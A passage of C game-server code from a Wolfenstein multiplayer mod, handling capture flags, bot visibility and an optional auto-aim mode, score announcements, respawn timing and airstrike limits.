ent->s.eType = ET_TRAP;
// Model is user assignable, but it will always try and use the animations for flagpole.md3
if ( ent->model )
ent->s.modelindex = G_ModelIndex ( ent->model );
else
ent->s.modelindex = G_ModelIndex ( "models/multiplayer/flagpole/flagpole_reinforce.md3");
G_SpawnString( "noise", "sound/movers/doors/door6_open.wav", &capture_sound );
ent->soundPos1 = G_SoundIndex ( capture_sound );
ent->clipmask = CONTENTS_SOLID;
ent->r.contents = CONTENTS_SOLID;
VectorSet (ent->r.mins, -8, -8, 0);
VectorSet (ent->r.maxs, 8, 8, 128);
G_SetOrigin( ent, ent->s.origin );
G_SetAngle (ent, ent->s.angles);
// s.frame is the animation number
if(ent->count == 1){ //axis
ent->s.frame = WCP_ANIM_NOFLAG;
}else{ //allies
ent->s.frame = WCP_ANIM_NOFLAG;
}
// s.teamNum is which set of animations to use ( only 1 right now )
ent->s.teamNum = 1;
//when its touched call CTF_touch, located in S4ND_func
ent->touch = cust_spawnflag;
trap_LinkEntity (ent);
}
/*
=============================
SPAWN FLAG
=============================
*/
// Shoves the shit into the spawn flag
void SP_binocs(gentity_t *ent){
// char *capture_sound;
// Make it an item
ent->s.eType = ET_ITEM;
//set the model
ent->s.modelindex = G_ModelIndex ( "models/powerups/keys/binoculars.md3");
// more stuff to make it an item
ent->clipmask = CONTENTS_ITEM;
ent->r.contents = CONTENTS_ITEM;
//uhhhhh gonna have to play with these some more, leave them for now
VectorSet (ent->r.mins, -8, -8, 0);
VectorSet (ent->r.maxs, 8, 8, 128);
G_SetOrigin( ent, ent->s.origin );
G_SetAngle (ent, ent->s.angles);
//when its touched call CTF_touch, located in S4ND_func
ent->touch = cust_spawnflag;
trap_LinkEntity (ent);
}
// Runs the thinking code for the Spawn flag
void Spawn_think(gentity_t * self){
switch ( self->s.frame ) {
case WCP_ANIM_NOFLAG:
break;
case WCP_ANIM_RAISE_AXIS:
self->s.frame = WCP_ANIM_AXIS_RAISED;
break;
case WCP_ANIM_RAISE_AMERICAN:
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
break;
case WCP_ANIM_AXIS_RAISED:
break;
case WCP_ANIM_AMERICAN_RAISED:
break;
case WCP_ANIM_AXIS_TO_AMERICAN:
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
break;
case WCP_ANIM_AMERICAN_TO_AXIS:
self->s.frame = WCP_ANIM_AXIS_RAISED;
break;
case WCP_ANIM_AXIS_FALLING:
self->s.frame = WCP_ANIM_NOFLAG;
break;
case WCP_ANIM_AMERICAN_FALLING:
self->s.frame = WCP_ANIM_NOFLAG;
break;
default:
break;
//later...
// te = G_TempEntity( ent2->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
// te->s.eventParm = G_SoundIndex (index);
// te->s.teamNum = ent2->s.clientNum;
}
self->touch = cust_spawnflag;
self->nextthink = 0;
}
//=========================
// Runs the "touch" code for the Spawn flag
void cust_spawnflag(gentity_t *self, gentity_t *other, trace_t *trace){
if(other->client->sess.sessionTeam == level.flagteam) //if the player is on same team as flag... dont do shit
return;
if(self->count2 == other->client->sess.sessionTeam)
return;
// Set controlling team
self->count = other->client->sess.sessionTeam;
level.BlueSniperSpawnPoint = -1;
level.RedSniperSpawnPoint = -1;
// Set animation
if ( self->count == TEAM_RED ) {
level.flagteam = TEAM_RED;
// Agent - NO, waste of entity for a flag people can see...
//self->dl_color[0] = 1;
//self->dl_color[1] = 0;
//self->dl_color[2] = 0;
//SP_dlight(self);
trap_SendServerCommand(-1, va("cp \"Axis capture %s!\n\" 2", self->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Axis capture %s!\n\" 2",GetLevelTime(), self->message));
G_AddEvent (self, EV_GLOBAL_SOUND, G_SoundIndex("sound/player/axis_fbcapt.wav"));
if ( self->s.frame == WCP_ANIM_NOFLAG )
self->s.frame = WCP_ANIM_RAISE_AXIS;
else if ( self->s.frame == WCP_ANIM_AMERICAN_RAISED )
self->s.frame = WCP_ANIM_AMERICAN_TO_AXIS;
else
self->s.frame = WCP_ANIM_AXIS_RAISED;
} else {
level.flagteam = TEAM_BLUE;
//self->dl_color[0] = 0;
//self->dl_color[1] = 0;
//self->dl_color[2] = 1;
//SP_dlight(self);
trap_SendServerCommand(-1, va("cp \"Allies capture %s!\n\" 2", self->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Allies capture %s!\n\" 2",GetLevelTime(), self->message));
G_AddEvent (self, EV_GLOBAL_SOUND, G_SoundIndex("sound/player/allies_fbcapt.wav"));
if ( self->s.frame == WCP_ANIM_NOFLAG )
self->s.frame = WCP_ANIM_RAISE_AMERICAN;
else if ( self->s.frame == WCP_ANIM_AXIS_RAISED )
self->s.frame = WCP_ANIM_AXIS_TO_AMERICAN;
else
self->s.frame = WCP_ANIM_AMERICAN_RAISED;
}
// Play a sound
G_AddEvent( self, EV_GENERAL_SOUND, self->soundPos1 );
// Don't allow touch again until animation is finished
self->touch = NULL;
self->think = Spawn_think;
self->nextthink = level.time + 1000;
}
/*////////////////////////////////////////////
MyInfront
my modified version of the built-in 'infront' function
I changed it so that we can have the bots field of vision 'fov'
change based on its skill
returns true if 'other' is in the bot's field of vision
*/////////////////////////////////////////////
qboolean MyInfront (gentity_t *self, gentity_t *other)
{
vec3_t vec;
float dot;
vec3_t forward;
float dotConst = 0.0; //180 --DEFAULT - like cg_fov 90
//get the direction in front of the bot
AngleVectors (self->client->ps.viewangles, forward, NULL, NULL);
//get the direction to the 'other'
VectorSubtract (other->r.currentOrigin, self->r.currentOrigin, vec);
//make 'vec' (which points from the bot to the 'other') have length 1 (necessary for math...)
VectorNormalize (vec);
//essentially get the angle between the bot and the 'other'
dot = DotProduct (vec, forward);
//if the 'other' is in the bot's fov, return true (yes, the 'other' is in fron of the bot)
if (dot > dotConst)
return qtrue;
//otherwise return false
return qfalse;
}
/*////////////////////////////////////////////
MyVisible
This is just a copy of the built-in 'visible' function
but accounting for the players' viewheight. This lets the
bots see players slightly more often and in a more realistic way
*/////////////////////////////////////////////
qboolean MyVisible (gentity_t *self, gentity_t *other)
{
vec3_t selfView, otherView; //basically stores the locations of the players' eyes
trace_t tr; //used in performing the collision info
gentity_t *traceEnt; //holds the entity returned by the trace function
VectorCopy(self->r.currentOrigin, selfView); //copy the bot's origin to this variable
selfView[2] += self->client->ps.viewheight; //add the bot's viewheight
VectorCopy(other->r.currentOrigin, otherView); //copy the target's origin
otherView[2] += other->client->ps.viewheight; //add the target's viewheight
//check if a shot from the bot's viewheight to the player's viewheight would hit
trap_Trace (&tr, selfView, NULL, NULL, otherView, self->s.number, MASK_SHOT);
traceEnt = &g_entities[tr.entityNum]; //set traceEnt to the entity the shot would hit
if (traceEnt == other) //if it would hit the player, return true
return qtrue;
return qfalse; //it would hit something other than the player (or nothing) so return false
}
/*
==========
FindEnemy
==========
*/
qboolean FindEnemy(gentity_t *ent)
{
int i;
gentity_t *targ;
gentity_t *bestenemy = NULL;
float bestweight = -1;
float weight;
vec3_t dist;
int viewDist;
int reactionTime;
viewDist = g_autoAim.integer;
reactionTime = 50;
//loop through all the clients to see if the bot can see any enemies
for(i = 0; i < level.maxclients; i++)
{
targ = &g_entities[i];
//make sure the client is a valid player (and in use)
if (!targ->inuse || !targ->client)
continue;
//make sure the player isn't the bot or anyone on his team
if ((targ == ent) || (targ->client->sess.sessionTeam == ent->client->sess.sessionTeam))
continue;
//make sure the player isn't dead or spectating
if (((targ->health <= 0) || (targ->client->ps.pm_flags & PMF_LIMBO)) || targ->client->sess.sessionTeam == TEAM_SPECTATOR) //not dead or spectating...
continue;
// Check if the bot can see the enemy from this position
if (MyVisible(ent, targ) && MyInfront(ent, targ))
{
// Find the distance between bot and enemy
VectorSubtract(ent->r.currentOrigin, targ->r.currentOrigin, dist);
//store it so we can compare
weight = VectorLength(dist);
//if this enemy is too far away to be seen, skip him
if (weight > viewDist)
continue;
//if the new distance is the shortest we have found so far
if ((weight < bestweight) || (bestweight == -1))
{
//set the new shortest distance and the new 'best' enemy
bestweight = weight;
bestenemy = targ; //this loop (and this line) set 'bestenemy' to the closest visible enemy
}
}
}
//if the bot found an enemy
if(bestenemy)
{
ent->enemy = bestenemy; //set the enemy to best ememy
return qtrue; //return yes, he can see an enemy
}
return qfalse; //no, the bot did not find any enemies
}
void DoAutoAim(gentity_t *ent){
vec3_t vec, enemyvec,angles;
#ifdef OMNIBOT
if ( ent->r.svFlags & SVF_BOT )
return;
#endif
if((ent->s.weapon != WP_LUGER) &&
(ent->s.weapon != WP_COLT) &&
(ent->s.weapon != WP_MAUSER) &&
(ent->s.weapon != WP_SNIPERRIFLE) &&
(ent->s.weapon != WP_VENOM) &&
(ent->s.weapon != WP_MP40) &&
(ent->s.weapon != WP_STEN) &&
(ent->s.weapon != WP_PANZERFAUST) &&
(ent->s.weapon != WP_THOMPSON)){
return;
}
if(!FindEnemy(ent))//check for an enemy :D
return;
//Get Enemy Posistion
VectorCopy(ent->enemy->r.currentOrigin, enemyvec);
//if enemy is crouched aim lower
if (ent->enemy->client->ps.pm_flags & PMF_DUCKED)
enemyvec[2] -= ent->enemy->client->ps.crouchViewHeight;
//find the direction to the enemy
VectorSubtract(enemyvec, ent->r.currentOrigin, vec);
//turn to face the enemy- and own him :)
vectoangles(vec, angles);
SetClientViewAngle(ent, angles);
}
/*
====================
CheckRoundStart
====================
*/
void CheckRoundStart(gentity_t *ent) {
// int i=0;
// gentity_t *te;
// gentity_t *other;
// char index[MAX_OSPATH];
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: CheckRoundStart: Start");
//Q_strncpyz(index, "sound/player/fight_rb.wav", sizeof(index)); // Martin - Old Way
trap_SendServerCommand(ent-g_entities, va("cp \"^1FIGHT!\n\"3"));
trap_SendServerCommand(ent-g_entities, va("print \"\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"^1FIGHT!\n\""));
G_AddEvent(ent, EV_GLOBAL_CLIENT_SOUND, G_SoundIndex("sound/player/fight_rb.wav"));
/* other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;*/
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: CheckRoundStart: End");
}
/*
=====================
CheckFraglimitScores
=====================
*/
void CheckFraglimitScores() {
// char index[MAX_OSPATH];
// gentity_t *other;
// gentity_t *te;
if(g_deathmatch.integer == 2){
int killLeader = 0; // Sanity check
int i;
int killsNeeded;
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if(level.clients[i].sess.sessionTeam != TEAM_RED)
continue;
// Here is the math. We step through each guy checkin against the previous high killer.
// If there is a new one, set him as high killer.
// If there are 2 people with same kills... well fuck them lol.
if (level.clients[i].pers.kills > level.clients[killLeader].pers.kills)
killLeader = i;
}
// Now that we found out who wtfPWNS, tell everyone, even specs/teamb people
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
// Different message for people on axis so they know how far behind they are.
if(level.clients[i].sess.sessionTeam == TEAM_RED){
// Tell a player their score and the leaders
// Agent [27]
// wolfplayer [5]
//agent - let the winner know that he is winning the match
if (level.clients[i].ps.clientNum == level.clients[killLeader].ps.clientNum){
killsNeeded = g_fraglimit.integer - level.clients[i].pers.kills;
trap_SendServerCommand(level.clients[i].ps.clientNum, va("cp \"You are winning with %i kills needed\n\"2",
killsNeeded));
}else{
trap_SendServerCommand(level.clients[i].ps.clientNum, va("cp \"%s ^7[%i]\n %s ^7[%i]\n\"2", level.clients[killLeader].pers.netname,
level.clients[killLeader].pers.kills, level.clients[i].pers.netname, level.clients[i].pers.kills));
}
trap_SendServerCommand(level.clients[i].ps.clientNum, va("print \"^3%s: ^7%s ^5is winning with %i of %i kills\n\"", GetLevelTime(),
level.clients[killLeader].pers.netname, level.clients[killLeader].pers.kills, g_fraglimit.integer) );
}else{
// Just send a print message to everyone else incase they are makin a movie or something.
trap_SendServerCommand(level.clients[i].ps.clientNum, va("print \"^3%s: ^7%s ^5is winning with %i of %i kills\n\"", GetLevelTime(),
level.clients[killLeader].pers.netname, level.clients[killLeader].pers.kills, g_fraglimit.integer) );
}
}
}else{
if (g_fraglimit.integer){
if (level.teamRedKills > level.teamBlueKills) {
trap_SendServerCommand( -1, va("print \"^3%s: ^5Axis lead Allies %i to %i\n\"", GetLevelTime(),level.teamRedKills, level.teamBlueKills) );
trap_SendServerCommand(-1, va("cp \"^3SCORE: ^1Axis^7: %i ^4Allies^7: %i\n\"2",level.teamRedKills, level.teamBlueKills));
/* for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if(level.clients[i].sess.sessionTeam == TEAM_RED)
Q_strncpyz(index, "sound/player/takenlead.wav", sizeof(index));
if(level.clients[i].sess.sessionTeam == TEAM_BLUE)
Q_strncpyz(index, "sound/player/lostlead.wav", sizeof(index));
}*/
}
if (level.teamBlueKills > level.teamRedKills) {
trap_SendServerCommand( -1, va("print \"^3%s: ^5Allies lead Axis %i to %i\n\"",GetLevelTime(), level.teamBlueKills, level.teamRedKills) );
trap_SendServerCommand(-1, va("cp \"^3SCORE: ^4Allies^7: %i ^1Axis^7: %i\n\"2",level.teamBlueKills, level.teamRedKills));
/* for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if(level.clients[i].sess.sessionTeam == TEAM_BLUE)
Q_strncpyz(index, "sound/player/takenlead.wav", sizeof(index));
if(level.clients[i].sess.sessionTeam == TEAM_RED)
Q_strncpyz(index, "sound/player/lostlead.wav", sizeof(index));
}
*/
}
if (level.teamRedKills == level.teamBlueKills) {
trap_SendServerCommand( -1, va("print \"^3%s: ^5Teams are tied at: %i\n\"",GetLevelTime(), level.teamRedKills) );
trap_SendServerCommand(-1, va("cp \"^3SCORE: ^5Teams are tied at: %i\n\"2", level.teamRedKills));
// Q_strncpyz(index, "sound/player/tiedlead.wav", sizeof(index));
}
/*
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}*/
}
if (g_maxlives.integer){
level.AxisLeft = level.numteamVotingClients[0]-level.numFinalDead[0];
level.AlliesLeft = level.numteamVotingClients[1]-level.numFinalDead[1];
trap_SendServerCommand( -1, va("print \"^3%s: ^5Allies left: %i Axis left: %i\n\"",GetLevelTime(), level.AlliesLeft, level.AxisLeft) );
trap_SendServerCommand(-1, va("cp \"^4Allies Left^7: %i ^1Axis Left^7: %i\n\"2",level.AlliesLeft, level.AxisLeft));
}
/*
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if ((level.clients[i].sess.sessionTeam == TEAM_BLUE) && ((level.clients[i].ps.persistant[PERS_RESPAWNS_LEFT] > 0) ||(level.clients[i].pers.gibbed == qfalse )))
level.AlliesLeft++;
if ((level.clients[i].sess.sessionTeam == TEAM_RED) && ((level.clients[i].ps.persistant[PERS_RESPAWNS_LEFT] > 0) ||(level.clients[i].pers.gibbed == qfalse )))
level.AxisLeft++;
}
trap_SendServerCommand( -1, va("print \"^3%s: ^5Allies left: %i Axis left: %i\n\"",GetLevelTime(), level.AlliesLeft, level.AxisLeft) );
trap_SendServerCommand(-1, va("cp \"^4Allies Left^7: %i ^1Axis Left^7: %i\n\"2",level.AlliesLeft, level.AxisLeft));
}
*/
if (g_goldrush.integer){
if (level.teamScores[TEAM_RED] > level.teamScores[TEAM_BLUE]) {
trap_SendServerCommand( -1, va("print \"^3%s: ^5Axis lead Allies %i to %i\n\"", GetLevelTime(),level.teamScores[TEAM_RED], level.teamScores[TEAM_BLUE]) );
trap_SendServerCommand(-1, va("cp \"^3SCORE: ^1Axis^7: %i ^4Allies^7: %i\n\"2",level.teamScores[TEAM_RED], level.teamScores[TEAM_BLUE]));
}
else if (level.teamScores[TEAM_RED] < level.teamScores[TEAM_BLUE]) {
trap_SendServerCommand( -1, va("print \"^3%s: ^5Allies lead Axis %i to %i\n\"",GetLevelTime(), level.teamScores[TEAM_BLUE], level.teamScores[TEAM_RED]) );
trap_SendServerCommand(-1, va("cp \"^3SCORE: ^4Allies^7: %i ^1Axis^7: %i\n\"2",level.teamScores[TEAM_BLUE], level.teamScores[TEAM_RED]));
}
else if (level.teamScores[TEAM_RED] == level.teamScores[TEAM_BLUE]) {
trap_SendServerCommand( -1, va("print \"^3%s: ^5Teams are tied at: %i\n\"",GetLevelTime(), level.teamScores[TEAM_RED]) );
trap_SendServerCommand(-1, va("cp \"^3SCORE: ^5Teams are tied at: %i\n\"2", level.teamScores[TEAM_RED]));
}
}
}
level.LastFraglimitScore = level.time; //record that we did something...so we dont just return with nothing for our timestamp
}
/*==================
Checks to see if its time to tap out players for respawn
====================
*/
void CheckAutoTap(gentity_t *ent){
int axisTime = 0;
int alliedTime = 0;
// int i;
//level.LastAutoTapCheckTime = level.time;
ent->lastAutoTapCheckTime = level.time;
if (g_deathmatch.integer) // Any DM mode = no checking
return;
if(ent->client->pers.gibbed == qtrue)
return;
axisTime = level.time%g_redlimbotime.integer;
axisTime = g_redlimbotime.integer - axisTime;
alliedTime = level.time%g_bluelimbotime.integer;
alliedTime = g_bluelimbotime.integer - alliedTime;
//Tap em if its .5sec till spawn
if((axisTime <= 500) || (alliedTime <= 500)){
if (ent->client->pers.connected != CON_CONNECTED)
return;
if(ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return;
if((ent->client->sess.sessionTeam == TEAM_RED) && (axisTime > 500))
return;
if((ent->client->sess.sessionTeam == TEAM_BLUE) && (alliedTime > 500))
return;
if (ent->client->pers.isTapped == qfalse)
return;
// Smarter...if a nearby medic can revive, dont tap them...
// if they have missed spawn twice, send them regardless (may be a glitch or something)
if ((isRevivingMedic(ent)) && (ent->client->pers.spawnCyclesSkipped < 3)){
ent->client->pers.spawnCyclesSkipped++;
trap_SendServerCommand( ent-g_entities, va("chat \"Skipping deployment because a medic is coming to revive you.\"") );
return;
}
if (g_tapReports.integer == 1)
trap_SendServerCommand( -1, va("print \"%s ^7tapped out\n\"", ent->client->pers.netname) );
if (g_tapReports.integer > 1){
if (ent->client->sess.sessionTeam == TEAM_RED)
G_TeamCommand( TEAM_RED, va("print \"%s ^7tapped out\n\"", ent->client->pers.netname) );
if (ent->client->sess.sessionTeam == TEAM_BLUE)
G_TeamCommand( TEAM_BLUE, va("print \"%s ^7tapped out\n\"", ent->client->pers.netname) );
}
ent->client->pers.isTapped = qfalse;
ent->client->pers.spawnCyclesSkipped = 0;
limbo(ent, qtrue);
}
}
/*
==========
isAirstrikeAvailable
Determines if the player can throw an air/arty. only called upon attempted use
==========
*/
qboolean isAirstrikeAvailable( gentity_t* ent ) {
// int i;
if((g_maxAirstrikes.integer < 3) && (g_maxAirstrikes.integer >= 0))
trap_Cvar_Set( "g_maxAirstrikes", "3" );
// Take off as many seconds as its been since the last check.
// No need to do this in runframe like ET does since it isnt used every frame...
level.axisAirstrikeCounter = level.axisAirstrikeCounter - ( level.time - level.LastAirstrikeCheck);
level.alliedAirstrikeCounter = level.alliedAirstrikeCounter - ( level.time - level.LastAirstrikeCheck);
if (level.axisAirstrikeCounter < 0)
level.axisAirstrikeCounter = 0;
if (level.alliedAirstrikeCounter < 0)
level.alliedAirstrikeCounter = 0;
level.LastAirstrikeCheck = level.time;
/*
// If its > 60000 [or something else in the future]... "insufficient fire support"
if( ent->client->sess.sessionTeam == TEAM_RED ) {
if( level.axisAirstrikeCounter >= 60000 ) {
return qfalse;
}
}
if( ent->client->sess.sessionTeam == TEAM_BLUE ) {
if( level.alliedAirstrikeCounter >= 60000 ) {
return qfalse;
}
}*/
// New way...adds the current 'cost' of this throw to the check to see if they really can throw it
if( ent->client->sess.sessionTeam == TEAM_RED ) {
int cost = 60000 / g_maxAirstrikes.integer;
if( level.axisAirstrikeCounter + cost >= 60000) {
//trap_SendServerCommand(-1, va("chat \"Level: %i Cost: %i\n\"",level.axisAirstrikeCounter, cost));
return qfalse;
}
}
if( ent->client->sess.sessionTeam == TEAM_BLUE ) {
int cost = 60000 / g_maxAirstrikes.integer;
if( level.alliedAirstrikeCounter + cost >= 60000 ) {
return qfalse;
}
}
return qtrue;
}
/*
==========
calculateStartLives
For a g_maxlives situation, this calculates how many lives a new connecting client starts with.
==========
*/
int calculateStartLives( gentity_t* ent ) {
int i;
int teamPlayers = 0;
int teamLives = 0;
for(i = 0; i < level.maxclients; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_SPECTATOR)
continue;
if(OnSameTeam(ent,&g_entities[level.clients[i].ps.clientNum])){
teamPlayers++;
teamLives = teamLives + level.clients[i].ps.persistant[PERS_RESPAWNS_LEFT];
}
}
if(teamPlayers > 0)
return teamLives / teamPlayers; //assign the new player his lives (always rounded down cause he joined late...
else
return 0;
}
/*
==========
showHitBoxes
Shows bounding boxes of all players upon being called.
==========
*/
void showHitBoxes(gentity_t *ent){
int i;
gentity_t *bboxEnt;
vec3_t b1, b2;
for(i = 0; i < level.maxclients; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_SPECTATOR)
continue;
VectorCopy(ent->r.currentOrigin, b1);
VectorCopy(ent->r.currentOrigin, b2);
VectorAdd(b1, ent->r.mins, b1);
VectorAdd(b2, ent->r.maxs, b2);
bboxEnt = G_TempEntity( b1, EV_RAILTRAIL );
VectorCopy(b2, bboxEnt->s.origin2);
bboxEnt->s.dmgFlags = g_test1.integer; // ("type")
}
}
/*
==========
CheckMapRotation
Checks to see if 1. server is empty, 2. it has been empty a long time and we should go to the next map
==========
*/
// THIS FUNCTION IS NEVER CALLED BECAUSE IT IS WORTHLESS :)
void CheckMapRotation() {
/* if ((g_SniperMode.integer <1) || (g_deathmatch.integer <1)){
//Ok retards... g_timelimit is in mins... mins->secs->millasecs [Roundtime - (currenttime - starttime) = 0 --> change]<<<THIS IS WRONG!!!
if((level.numConnectedClients == 0) && (((g_timelimit.integer * 60 * 1000) - (level.time - level.startTime)) <= 0 )){
trap_SendServerCommand(-1, va("chat \"Changing maps due to empty server. ^1(%i)!!!\n\"",level.numConnectedClients));
trap_SendServerCommand(-1, va("print \"Clients: ^1(%i)!!! Time: %i\n\"",level.numConnectedClients,((g_timelimit.value * 60 * 1000) - (level.time - level.startTime))));
trap_SendConsoleCommand( EXEC_APPEND, va( "vstr nextmap\n") );
}
}else{
*/
// if ((g_SniperMode.integer <1) || (g_deathmatch.integer <1)){
if((level.numConnectedClients == 0) && (level.time >= 600000 )){
trap_SendServerCommand(-1, va("chat \"Changing maps due to empty server. ^1(%i)!!!\n\"",level.numConnectedClients));
trap_SendServerCommand(-1, va("print \"Clients: ^1(%i)!!! Time: %i\n\"",level.numConnectedClients,((g_timelimit.value * 60 * 1000) - (level.time - level.startTime))));
trap_SendConsoleCommand( EXEC_APPEND, va( "vstr nextmap\n") );
//}
// }
}
level.LastMapRotationCheck = level.time;
}
/*=========================
Master Server Heartbeat
Heartbeats to the master server so demo servers can stay on list(hopefully :D
//=======================*/
void demoHeartbeat (){
trap_SendConsoleCommand(EXEC_APPEND, va("heartbeat\n"));
trap_SendConsoleCommand(EXEC_APPEND, va("seta sv_master1 wolfmaster.idsoftware.com\n"));
}
/*=========================
Agent's server Harassment
Forces a standard to all servers. This may not be right,
but it trys to make the sandmod experience the same everywhere
//=======================
void CheckServer (){
//char mapName[1000];
int protocol[16];
FILE*Ice;
FILE*TrenchToast;
FILE*soundpack;
trap_Cvar_VariableStringBuffer( "protocol", protocol, sizeof(protocol) );
trap_Cvar_Set( "sv_allowdownload", "1" );
if (Q_stricmp(protocol, "50")){
soundpack = fopen("S4NDMoD/s4ndmod.pk3","r"); //FIXME!!!!!!!!!!!!!!!NOW!!
Ice= fopen("main/mp_pakmaps0.pk3","r");
TrenchToast = fopen("main/mp_pakmaps1.pk3","r");
if((soundpack)&&(Ice)&&(TrenchToast)){
fclose(soundpack);
fclose(Ice);
fclose(TrenchToast);
}else{
//Agent-fatal doesnt tell clients anything...lets try err_drop
//Com_Error(ERR_FATAL,"Impropper S4NDMoD installation. Contact server administrator." );
Com_Error(ERR_DROP,"Impropper S4NDMoD installation, reinstall. If problem persists: www.s4ndmod.com" );
}
}
level.LastCheckServer = level.time;
}*/
void stripcvars(const char *buffer, char *checkcvar, char* cvarfrom, char* cvarto)
{
int i = 0, a=0, b=0, c=0;
int foundspace=0;
while(buffer[i] != 0){
if(!foundspace){//havent found any periods
if(buffer[i] == ' '){
foundspace = 1;
checkcvar[a]=0;
}else
checkcvar[a]=buffer[i];
i++;
a++;
}else if(foundspace == 1 ){ // We have found 1 period
if(buffer[i] == ' '){
foundspace = 2;
cvarfrom[b]=0;
}else
cvarfrom[b]=buffer[i];
i++;
b++;
}else if(foundspace == 2 ){ // We have found 2 periods
if(buffer[i] == ' '){
foundspace = 3;
cvarto[c]=0;
}else
cvarto[c]=buffer[i];
i++;
c++;
}
}
}
/*=========================
Auto Respawn seter
//=======================*/
void AutoSpawnTimes(gentity_t* ent){
int i;
int RedPlayers = 0;
int BluePlayers = 0;
char mapName[32];
//ya this doesnt do shit yet :)
for ( i = 0 ; i < level.maxclients ; i++ ){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
BluePlayers++;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
RedPlayers++;
}
if (!Q_stricmp(mapName, "mp_assault")){ // 40/30
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "10000");
else if ((RedPlayers) <= 20)
trap_Cvar_Set("g_redlimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "20000");
else if ((BluePlayers) <= 20)
trap_Cvar_Set("g_bluelimbotime", "30000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_base")){ // 20/30
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_beach")){ // 30/40
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "20000");
else if ((RedPlayers) <= 20)
trap_Cvar_Set("g_redlimbotime", "30000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else if ((BluePlayers) <= 20)
trap_Cvar_Set("g_bluelimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_castle")){ // 15/20 :S
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "15000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_depot")){ // 30/30
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "10000");
else if ((RedPlayers) <= 20)
trap_Cvar_Set("g_redlimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else if ((BluePlayers) <= 20)
trap_Cvar_Set("g_bluelimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_destruction")){ // 30/30
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "10000");
else if ((RedPlayers) <= 20)
trap_Cvar_Set("g_redlimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else if ((BluePlayers) <= 20)
trap_Cvar_Set("g_bluelimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_sub")){ // 20/35
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "15000");
else if ((RedPlayers) <= 20)
trap_Cvar_Set("g_redlimbotime", "25000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
if (!Q_stricmp(mapName, "mp_village")){ // 30/30
if ((RedPlayers) <= 10)
trap_Cvar_Set("g_redlimbotime", "10000");
else if ((RedPlayers) <= 20)
trap_Cvar_Set("g_redlimbotime", "20000");
